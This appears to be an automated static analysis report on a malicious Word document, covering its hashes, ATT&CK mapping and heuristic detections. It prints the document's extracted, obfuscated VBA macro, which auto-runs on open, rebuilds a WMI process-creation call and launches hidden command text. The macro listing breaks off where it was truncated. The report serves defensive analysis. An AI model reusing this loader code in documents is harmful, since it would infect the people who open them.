Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 acb2b8bdef2aa17e…

MALICIOUS

Office (OLE)

171.4 KB Created: 2020-07-28 21:41:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: ae49f7cd9948287ba34cda7d554674d4 SHA-1: 49185dde9d702188ee36227711a54e19da5111b5 SHA-256: acb2b8bdef2aa17e27aea7e9aceb5cecf4cae38ab32f2da732cffe5b706c9aba
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains VBA macros, including a Document_Open macro and a UserForm hidden-property command stager, indicating malicious intent. The macro likely uses CreateObject to execute a payload. The ClamAV detection 'Doc.Malware.Logan-9206139-0' further supports its malicious nature. The specific payload and its destination are not discernible from the provided evidence.

Heuristics 7

  • ClamAV: Doc.Malware.Logan-9206139-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Logan-9206139-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5162 bytes
SHA-256: 3506bfcf6e48f549a6649461dcab80dedbe65b60b08540cd18cd734853f36025
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "RVMQKplpnezpuoavgdz"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
SJXVSkczafqtudwwh.CZRVHwwggyfnrxt
End Sub


Attribute VB_Name = "SJXVSkczafqtudwwh"
Attribute VB_Base = "0{26C15381-8F55-4955-BBB6-E4486022AD37}{38C588AE-0BDC-4645-853E-5633B748AED1}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function CZRVHwwggyfnrxt()
RHFCJgjamcppuuqp = Chr(SJXVSkczafqtudwwh.Zoom + ((60 + 60) / 8))
kS7áCw = 3
Do While kS7áCw < 3 + 1
kS7áCw = kS7áCw + 2: DoEvents
DAMKUeynqsjkzsems = "YDZAItkpixpgsxjmj"
Loop
YNQFAegwyiirlk = "83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2w83nNBugU7&&)njk&&Dnnnsn882n2i83nNBugU7&&)njk&&Dnnnsn882n2nm83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2gm83nNBugU7&&)njk&&Dnnnsn882n2t83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2" + RHFCJgjamcppuuqp + "83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2:83nNBugU7&&)njk&&Dnnnsn882n2w83nNBugU7&&)njk&&Dnnnsn882n2in83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2383nNBugU7&&)njk&&Dnnnsn882n2283nNBugU7&&)njk&&Dnnnsn882n2_83nNBugU7&&)njk&&Dnnnsn882n2" + SJXVSkczafqtudwwh.ADUCMhwyndduik + "83nNBugU7&&)njk&&Dnnnsn882n2ro83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2ce83nNBugU7&&)njk&&Dnnnsn882n2s83nNBugU7&&)njk&&Dnnnsn882n2s83nNBugU7&&)njk&&Dnnnsn882n2"
EIB7ÅqfeUVM = 3
Do While EIB7ÅqfeUVM < 3 + 6
EIB7ÅqfeUVM = EIB7ÅqfeUVM + 6: DoEvents
VFUCClzbtjwxtgseows = "STZFVbxkamam"
Loop
IWWXBjuzahub = DAFSEgrufmzzaswh(YNQFAegwyiirlk)
Dim htNIyY1âdCk As Integer
htNIyY1âdCk = 2
Do While htNIyY1âdCk < 2 + 3
htNIyY1âdCk = htNIyY1âdCk + 4: DoEvents
FRMWVbnbgzbsle = "NOIMUhhbfphbop"
Loop
Set CHSTFtawccpdfc = CreateObject(IWWXBjuzahub)
Dim u4ÚQcypeHro As Long
u4ÚQcypeHro = InStr("YE2ßoUDAZJ8ÌU2Ô7ÇQL", "DAZJ8ÌU2Ô7ÇQL")
LFQPGuwpijuaezyxz = SJXVSkczafqtudwwh.BHZZGhvhccvgezbb.ControlTipText
Dim uXt1âUC7Ìlhk As Integer
uXt1âUC7Ìlhk = 1
Do While uXt1âUC7Ìlhk < 1 + 3
uXt1âUC7Ìlhk = uXt1âUC7Ìlhk + 1: DoEvents
HIJONpghtvfa = "UXMKWowmdnraypg"
Loop
VACTPzxxwbrqokibx = NN + (IWWXBjuzahub + RHFCJgjamcppuuqp) + SJXVSkczafqtudwwh.SFAVSznqwxqyvgzfjhy.ControlTipText + LFQPGuwpijuaezyxz
Dim cm7àR As Long
cm7àR = InStr("Ri7ÝKoPO1åiu", "oPO1åiu")
OQKOYdkqdfqrfszvlrr = VACTPzxxwbrqokibx + SJXVSkczafqtudwwh.ADUCMhwyndduik
Dim GTLaT As Integer
GTLaT = 8
Do While GTLaT < 8 + 9
GTLaT = GTLaT + 9: DoEvents
OZZMFrtixqthgo = "PHVHIdxezsodvsnpz"
Loop
Set IWZWMpbgqbkynyjiiu = ZIVHBttxfeptmkq(OQKOYdkqdfqrfszvlrr)
yhtNIy = 2
Do While yhtNIy < 2 + 5
yhtNIy = yhtNIy + 8: DoEvents
AFVGOgcedmgvpfpwctd = "YDRVZuqoxqjbui"
Loop
uiii = Array("BNSBSBBSSS", CHSTFtawccpdfc. _
Create(MIKNDreotfgyhuxz, JUJTOfeakyedi, IWZWMpbgqbkynyjiiu), "NNNNNNNSNSNSNMD")
Dim nCsIBSZFOy As Long
nCsIBSZFOy = InStr("k2ÂuKQgoHD7ÒZO", "D7ÒZO")
End Function
Function ZIVHBttxfeptmkq(AGEPPurexvxwhqwg)
Set ZIVHBttxfeptmkq = CreateObject(AGEPPurexvxwhqwg)
Dim CXgj2àMbiO As Integer
CXgj2àMbiO = 2
Do While CXgj2àMbiO < 2 + 8
CXgj2àMbiO = CXgj2àMbiO + 5: DoEvents
YPTLQaxoagtqngmd = "AGAFBsapcudgx"
Loop
ZIVHBttxfeptmkq.showwindow = (QHZZBqpdhivudzxrxn + TDWIIxwswoguhc) + (DJOHLmoxzskgpbr + WPZDStyqbextpao)
Dim qLVYD7v As Long
qLVYD7v = InStr("qQODODfPNf", "ODfPNf")
End Function
Function DAFSEgrufmzzaswh(UQVZNgoohltyyvcsg)
AQAWFqasuoao = UQVZNgoohltyyvcsg
Dim C8àd8åuNsf As Integer
C8àd8åuNsf = 6
Do While C8àd8åuNsf < 6 + 2
C8àd8åuNsf = C8àd8åuNsf + 3: DoEvents
RSWODqcufgxqyqgr = "CKEHZsjkxfhpv"
Loop
ORUFRrkfvwpohjyeor = Split _
(AQAWFqasuoao, "83nNBugU7&&)njk&&Dnnnsn882n2")
WRTyS = 4
Do While WRTyS < 4 + 6
WRTyS = WRTyS + 1: DoEvents
YEWOXfdignfxlw = "SLXFOmqjgszmdg"
Loop
ORCIZtgfjwonyvasc = kooooo + Join(ORUFRrkfvw
... (truncated)

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